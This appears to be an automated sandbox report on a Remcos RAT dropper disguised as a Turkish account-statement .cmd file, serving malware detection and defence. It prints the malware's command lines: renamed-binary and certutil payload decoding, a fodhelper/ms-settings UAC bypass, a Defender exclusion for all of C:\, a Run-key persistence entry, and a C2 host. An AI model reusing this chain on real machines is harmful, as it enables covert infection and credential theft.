Malware Analysis Report

2025-01-02 03:22

Sample ID 240722-kz8t9ayfpg
Target 41570002689_20220814_05352297_HesapOzeti.cmd
SHA256 0040025ba2e8d93e1d1c118280257575f28c2e2209707bb9a11c15676c55e944
Tags
remcos july 17 collection persistence rat spyware stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

0040025ba2e8d93e1d1c118280257575f28c2e2209707bb9a11c15676c55e944

Threat Level: Known bad

The file 41570002689_20220814_05352297_HesapOzeti.cmd was found to be: Known bad.

Malicious Activity Summary

remcos july 17 collection persistence rat spyware stealer

Remcos

Detected Nirsoft tools

NirSoft WebBrowserPassView

NirSoft MailPassView

Loads dropped DLL

Checks computer location settings

Reads user/profile data of web browsers

Executes dropped EXE

Adds Run key to start application

Accesses Microsoft Outlook accounts

Suspicious use of SetThreadContext

Enumerates physical storage devices

Program crash

Suspicious behavior: MapViewOfSection

Script User-Agent

Suspicious use of WriteProcessMemory

Kills process with taskkill

Suspicious use of SetWindowsHookEx

Suspicious behavior: EnumeratesProcesses

Modifies registry class

Suspicious behavior: CmdExeWriteProcessMemorySpam

Runs ping.exe

Suspicious use of AdjustPrivilegeToken

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-07-22 09:03

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-07-22 09:03

Reported

2024-07-22 09:06

Platform

win7-20240704-en

Max time kernel

141s

Max time network

124s

Command Line

cmd /c "C:\Users\Admin\AppData\Local\Temp\41570002689_20220814_05352297_HesapOzeti.cmd"

Signatures

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Public\alpha.exe N/A
N/A N/A C:\Users\Public\alpha.exe N/A
N/A N/A C:\Users\Public\kn.exe N/A
N/A N/A C:\Users\Public\alpha.exe N/A
N/A N/A C:\Users\Public\kn.exe N/A
N/A N/A C:\Users\Public\Libraries\CLEAN.COM N/A
N/A N/A C:\Users\Public\alpha.exe N/A
N/A N/A C:\Users\Public\alpha.exe N/A

Program crash

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WerFault.exe C:\Users\Public\Libraries\CLEAN.COM

Suspicious behavior: CmdExeWriteProcessMemorySpam

Description Indicator Process Target
N/A N/A C:\Users\Public\Libraries\CLEAN.COM N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2092 wrote to memory of 2728 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\extrac32.exe
PID 2092 wrote to memory of 2728 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\extrac32.exe
PID 2092 wrote to memory of 2728 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\extrac32.exe
PID 2092 wrote to memory of 2816 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2092 wrote to memory of 2816 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2092 wrote to memory of 2816 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2816 wrote to memory of 2832 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2816 wrote to memory of 2832 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2816 wrote to memory of 2832 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2092 wrote to memory of 2724 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2092 wrote to memory of 2724 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2092 wrote to memory of 2724 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2724 wrote to memory of 2844 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 2724 wrote to memory of 2844 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 2724 wrote to memory of 2844 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 2092 wrote to memory of 2188 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2092 wrote to memory of 2188 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2092 wrote to memory of 2188 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2188 wrote to memory of 2636 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 2188 wrote to memory of 2636 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 2188 wrote to memory of 2636 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 2092 wrote to memory of 2700 N/A C:\Windows\system32\cmd.exe C:\Users\Public\Libraries\CLEAN.COM
PID 2092 wrote to memory of 2700 N/A C:\Windows\system32\cmd.exe C:\Users\Public\Libraries\CLEAN.COM
PID 2092 wrote to memory of 2700 N/A C:\Windows\system32\cmd.exe C:\Users\Public\Libraries\CLEAN.COM
PID 2092 wrote to memory of 2700 N/A C:\Windows\system32\cmd.exe C:\Users\Public\Libraries\CLEAN.COM
PID 2092 wrote to memory of 2396 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2092 wrote to memory of 2396 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2092 wrote to memory of 2396 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2092 wrote to memory of 2656 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2092 wrote to memory of 2656 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2092 wrote to memory of 2656 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2700 wrote to memory of 708 N/A C:\Users\Public\Libraries\CLEAN.COM C:\Windows\SysWOW64\WerFault.exe
PID 2700 wrote to memory of 708 N/A C:\Users\Public\Libraries\CLEAN.COM C:\Windows\SysWOW64\WerFault.exe
PID 2700 wrote to memory of 708 N/A C:\Users\Public\Libraries\CLEAN.COM C:\Windows\SysWOW64\WerFault.exe
PID 2700 wrote to memory of 708 N/A C:\Users\Public\Libraries\CLEAN.COM C:\Windows\SysWOW64\WerFault.exe

Processes

C:\Windows\system32\cmd.exe

cmd /c "C:\Users\Admin\AppData\Local\Temp\41570002689_20220814_05352297_HesapOzeti.cmd"

C:\Windows\System32\extrac32.exe

C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe

C:\Windows\system32\extrac32.exe

extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\41570002689_20220814_05352297_HesapOzeti.cmd" "C:\\Users\\Public\\CLEAN.GIF" 9

C:\Users\Public\kn.exe

C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\41570002689_20220814_05352297_HesapOzeti.cmd" "C:\\Users\\Public\\CLEAN.GIF" 9

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\CLEAN.GIF" "C:\\Users\\Public\\Libraries\\CLEAN.COM" 12

C:\Users\Public\kn.exe

C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\CLEAN.GIF" "C:\\Users\\Public\\Libraries\\CLEAN.COM" 12

C:\Users\Public\Libraries\CLEAN.COM

C:\Users\Public\Libraries\CLEAN.COM

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\CLEAN.GIF" / A / F / Q / S

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 2700 -s 712

Network

Country Destination Domain Proto
US 8.8.8.8:53 onedrive.live.com udp
US 13.107.137.11:443 onedrive.live.com tcp
US 13.107.137.11:443 onedrive.live.com tcp

Files

\Users\Public\alpha.exe

MD5 5746bd7e255dd6a8afa06f7c42c1ba41
SHA1 0f3c4ff28f354aede202d54e9d1c5529a3bf87d8
SHA256 db06c3534964e3fc79d2763144ba53742d7fa250ca336f4a0fe724b75aaff386
SHA512 3a968356d7b94cc014f78ca37a3c03f354c3970c9e027ed4ccb8e59f0f9f2a32bfa22e7d6b127d44631d715ea41bf8ace91f0b4d69d1714d55552b064ffeb69e

\Users\Public\kn.exe

MD5 ec1fd3050dbc40ec7e87ab99c7ca0b03
SHA1 ae7fdfc29f4ef31e38ebf381e61b503038b5cb35
SHA256 1e19c5a26215b62de1babd5633853344420c1e673bb83e8a89213085e17e16e3
SHA512 4e47331f2fdce77b01d86cf8e21cd7d6df13536f09b70c53e5a6b82f66512faa10e38645884c696b47a27ea6bddc6c1fdb905ee78684dca98cbda5f39fbafcc2

C:\Users\Public\CLEAN.GIF

MD5 4c63a70c4224e12f302dc97da70bff09
SHA1 27da43a347a39fc3582ce98bb77726bf0f0d788b
SHA256 00032a8c09f96d692586cfa0b0894bb12049e8266f9bc8c2a5950f4c542269fd
SHA512 a21072370b65e9a0dc9a7be4c840c4353114e9e1f695cadd46ad1fab2fd751d27e9a38b6dad545bbcba2a2eb93c640791be31fc08e32f055c6fad4efec444544

C:\Users\Public\Libraries\CLEAN.COM

MD5 37d7e65db3d1daaba7f4f3a422f256c0
SHA1 845ddbc4975214a41098d5d7d1a039e27a9acc9d
SHA256 e6967254aa75982a43c73985e63d60f5b0688ceeb06c11c1748622959cb95c08
SHA512 edb70bdda279422aaded553a3d6d5ad36c1659181394c4c488f41d257b5fa1707f0db456d2c549a7c8ec8944b3ca90703788ccce3f0d8cb26fc43b6fd42a3011

memory/2700-34-0x0000000000400000-0x00000000004F8000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-07-22 09:03

Reported

2024-07-22 09:06

Platform

win10v2004-20240709-en

Max time kernel

148s

Max time network

151s

Command Line

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\41570002689_20220814_05352297_HesapOzeti.cmd"

Signatures

Remcos

rat remcos

Detected Nirsoft tools

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

NirSoft MailPassView

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

NirSoft WebBrowserPassView

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-384068567-2943195810-3631207890-1000\Control Panel\International\Geo\Nation C:\Users\Public\Libraries\lzfanvaS.pif N/A
Key value queried \REGISTRY\USER\S-1-5-21-384068567-2943195810-3631207890-1000\Control Panel\International\Geo\Nation C:\Windows \System32\per.exe N/A

Reads user/profile data of web browsers

spyware stealer

Accesses Microsoft Outlook accounts

collection
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-384068567-2943195810-3631207890-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts C:\Users\Public\Libraries\CLEAN.COM N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-384068567-2943195810-3631207890-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Savnafzl = "C:\\Users\\Public\\Savnafzl.url" C:\Users\Public\Libraries\CLEAN.COM N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 1588 set thread context of 3320 N/A C:\Users\Public\Libraries\CLEAN.COM C:\Users\Public\Libraries\lzfanvaS.pif
PID 1588 set thread context of 4100 N/A C:\Users\Public\Libraries\CLEAN.COM C:\Users\Public\Libraries\CLEAN.COM
PID 1588 set thread context of 3116 N/A C:\Users\Public\Libraries\CLEAN.COM C:\Users\Public\Libraries\CLEAN.COM
PID 1588 set thread context of 2232 N/A C:\Users\Public\Libraries\CLEAN.COM C:\Users\Public\Libraries\CLEAN.COM

Enumerates physical storage devices

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\taskkill.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-384068567-2943195810-3631207890-1000_Classes\ms-settings\shell C:\Users\Public\ger.exe N/A
Key created \REGISTRY\USER\S-1-5-21-384068567-2943195810-3631207890-1000_Classes\ms-settings\shell\open C:\Users\Public\ger.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-384068567-2943195810-3631207890-1000_Classes\ms-settings\shell\open\command\ = "C:\\\\Users\\\\Public\\\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\"" C:\Users\Public\ger.exe N/A
Key created \REGISTRY\USER\S-1-5-21-384068567-2943195810-3631207890-1000_Classes\ms-settings\shell\open\command C:\Users\Public\ger.exe N/A
Key created \REGISTRY\USER\S-1-5-21-384068567-2943195810-3631207890-1000_Classes\ms-settings C:\Users\Public\ger.exe N/A

Runs ping.exe

Description Indicator Process Target
N/A N/A C:\Windows\system32\PING.EXE N/A

Script User-Agent

Description Indicator Process Target
HTTP User-Agent header Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) N/A N/A
HTTP User-Agent header Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) N/A N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Users\Public\Libraries\CLEAN.COM N/A
N/A N/A C:\Users\Public\Libraries\CLEAN.COM N/A
N/A N/A C:\Users\Public\Libraries\CLEAN.COM N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Public\xkn.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Public\Libraries\CLEAN.COM N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Public\Libraries\CLEAN.COM N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2928 wrote to memory of 2888 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\extrac32.exe
PID 2928 wrote to memory of 2888 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\extrac32.exe
PID 2928 wrote to memory of 2792 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2928 wrote to memory of 2792 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2792 wrote to memory of 4632 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2792 wrote to memory of 4632 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2928 wrote to memory of 4024 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2928 wrote to memory of 4024 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 4024 wrote to memory of 64 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 4024 wrote to memory of 64 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 2928 wrote to memory of 3840 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2928 wrote to memory of 3840 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3840 wrote to memory of 3144 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 3840 wrote to memory of 3144 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 2928 wrote to memory of 1588 N/A C:\Windows\system32\cmd.exe C:\Users\Public\Libraries\CLEAN.COM
PID 2928 wrote to memory of 1588 N/A C:\Windows\system32\cmd.exe C:\Users\Public\Libraries\CLEAN.COM
PID 2928 wrote to memory of 1588 N/A C:\Windows\system32\cmd.exe C:\Users\Public\Libraries\CLEAN.COM
PID 2928 wrote to memory of 2712 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2928 wrote to memory of 2712 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2928 wrote to memory of 2416 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2928 wrote to memory of 2416 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1588 wrote to memory of 3320 N/A C:\Users\Public\Libraries\CLEAN.COM C:\Users\Public\Libraries\lzfanvaS.pif
PID 1588 wrote to memory of 3320 N/A C:\Users\Public\Libraries\CLEAN.COM C:\Users\Public\Libraries\lzfanvaS.pif
PID 1588 wrote to memory of 3320 N/A C:\Users\Public\Libraries\CLEAN.COM C:\Users\Public\Libraries\lzfanvaS.pif
PID 1588 wrote to memory of 3320 N/A C:\Users\Public\Libraries\CLEAN.COM C:\Users\Public\Libraries\lzfanvaS.pif
PID 1588 wrote to memory of 3320 N/A C:\Users\Public\Libraries\CLEAN.COM C:\Users\Public\Libraries\lzfanvaS.pif
PID 3320 wrote to memory of 4676 N/A C:\Users\Public\Libraries\lzfanvaS.pif C:\Windows\system32\cmd.exe
PID 3320 wrote to memory of 4676 N/A C:\Users\Public\Libraries\lzfanvaS.pif C:\Windows\system32\cmd.exe
PID 4676 wrote to memory of 4356 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\extrac32.exe
PID 4676 wrote to memory of 4356 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\extrac32.exe
PID 4676 wrote to memory of 2236 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 4676 wrote to memory of 2236 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 4676 wrote to memory of 4240 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 4676 wrote to memory of 4240 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 4676 wrote to memory of 2944 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 4676 wrote to memory of 2944 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2944 wrote to memory of 2888 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2944 wrote to memory of 2888 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 4676 wrote to memory of 1348 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 4676 wrote to memory of 1348 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1348 wrote to memory of 1636 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 1348 wrote to memory of 1636 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 4676 wrote to memory of 2792 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 4676 wrote to memory of 2792 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2792 wrote to memory of 1316 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2792 wrote to memory of 1316 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 4676 wrote to memory of 1524 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 4676 wrote to memory of 1524 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1524 wrote to memory of 440 N/A C:\Users\Public\alpha.exe C:\Users\Public\xkn.exe
PID 1524 wrote to memory of 440 N/A C:\Users\Public\alpha.exe C:\Users\Public\xkn.exe
PID 440 wrote to memory of 3536 N/A C:\Users\Public\xkn.exe C:\Users\Public\alpha.exe
PID 440 wrote to memory of 3536 N/A C:\Users\Public\xkn.exe C:\Users\Public\alpha.exe
PID 3536 wrote to memory of 4836 N/A C:\Users\Public\alpha.exe C:\Users\Public\ger.exe
PID 3536 wrote to memory of 4836 N/A C:\Users\Public\alpha.exe C:\Users\Public\ger.exe
PID 4676 wrote to memory of 1836 N/A C:\Windows\system32\cmd.exe C:\Windows \System32\per.exe
PID 4676 wrote to memory of 1836 N/A C:\Windows\system32\cmd.exe C:\Windows \System32\per.exe
PID 4676 wrote to memory of 1544 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 4676 wrote to memory of 1544 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1544 wrote to memory of 2936 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe
PID 1544 wrote to memory of 2936 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe
PID 4676 wrote to memory of 5116 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 4676 wrote to memory of 5116 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 5116 wrote to memory of 2640 N/A C:\Users\Public\alpha.exe C:\Windows\system32\PING.EXE
PID 5116 wrote to memory of 2640 N/A C:\Users\Public\alpha.exe C:\Windows\system32\PING.EXE

Processes

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\41570002689_20220814_05352297_HesapOzeti.cmd"

C:\Windows\System32\extrac32.exe

C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe

C:\Windows\system32\extrac32.exe

extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\41570002689_20220814_05352297_HesapOzeti.cmd" "C:\\Users\\Public\\CLEAN.GIF" 9

C:\Users\Public\kn.exe

C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\41570002689_20220814_05352297_HesapOzeti.cmd" "C:\\Users\\Public\\CLEAN.GIF" 9

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\CLEAN.GIF" "C:\\Users\\Public\\Libraries\\CLEAN.COM" 12

C:\Users\Public\kn.exe

C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\CLEAN.GIF" "C:\\Users\\Public\\Libraries\\CLEAN.COM" 12

C:\Users\Public\Libraries\CLEAN.COM

C:\Users\Public\Libraries\CLEAN.COM

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\CLEAN.GIF" / A / F / Q / S

C:\Users\Public\Libraries\lzfanvaS.pif

C:\Users\Public\Libraries\lzfanvaS.pif

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\CC87.tmp\CC98.tmp\CC99.bat C:\Users\Public\Libraries\lzfanvaS.pif"

C:\Windows\System32\extrac32.exe

C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"

C:\Windows\system32\extrac32.exe

extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"

C:\Windows\system32\extrac32.exe

extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"

C:\Windows\system32\extrac32.exe

extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "

C:\Users\Public\xkn.exe

C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "

C:\Users\Public\alpha.exe

"C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""

C:\Users\Public\ger.exe

C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""

C:\Windows \System32\per.exe

"C:\\Windows \\System32\\per.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe

C:\Windows\system32\taskkill.exe

taskkill /F /IM SystemSettings.exe

C:\Windows\system32\SystemSettingsAdminFlows.exe

"C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c ping 127.0.0.1 -n 2

C:\Windows\system32\PING.EXE

ping 127.0.0.1 -n 2

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c rmdir "C:\Windows \"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\\Windows \\System32\\per.exe" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\xkn.exe" / A / F / Q / S

C:\Windows\SysWOW64\extrac32.exe

C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Public\Libraries\CLEAN.COM C:\\Users\\Public\\Libraries\\Savnafzl.PIF

C:\Users\Public\Libraries\CLEAN.COM

C:\Users\Public\Libraries\CLEAN.COM /stext "C:\Users\Admin\AppData\Local\Temp\wygdsajldzb"

C:\Users\Public\Libraries\CLEAN.COM

C:\Users\Public\Libraries\CLEAN.COM /stext "C:\Users\Admin\AppData\Local\Temp\gslwtsumrhtarr"

C:\Users\Public\Libraries\CLEAN.COM

C:\Users\Public\Libraries\CLEAN.COM /stext "C:\Users\Admin\AppData\Local\Temp\iuygmlfgmplfuylor"

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 196.249.167.52.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.237:443 g.bing.com tcp
US 8.8.8.8:53 71.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 237.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp
US 8.8.8.8:53 154.239.44.20.in-addr.arpa udp
US 8.8.8.8:53 onedrive.live.com udp
US 13.107.139.11:443 onedrive.live.com tcp
US 13.107.139.11:443 onedrive.live.com tcp
US 8.8.8.8:53 l67sxa.db.files.1drv.com udp
US 13.107.42.12:443 l67sxa.db.files.1drv.com tcp
US 8.8.8.8:53 11.139.107.13.in-addr.arpa udp
US 8.8.8.8:53 12.42.107.13.in-addr.arpa udp
US 8.8.8.8:53 cxcs.microsoft.net udp
GB 23.62.195.195:443 cxcs.microsoft.net tcp
US 8.8.8.8:53 method890.ddns.net udp
LT 94.156.79.35:6902 method890.ddns.net tcp
LT 94.156.79.35:6902 method890.ddns.net tcp
US 8.8.8.8:53 geoplugin.net udp
US 8.8.8.8:53 35.79.156.94.in-addr.arpa udp
NL 178.237.33.50:80 geoplugin.net tcp
US 8.8.8.8:53 50.33.237.178.in-addr.arpa udp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 56.126.166.20.in-addr.arpa udp
US 8.8.8.8:53 147.142.123.92.in-addr.arpa udp
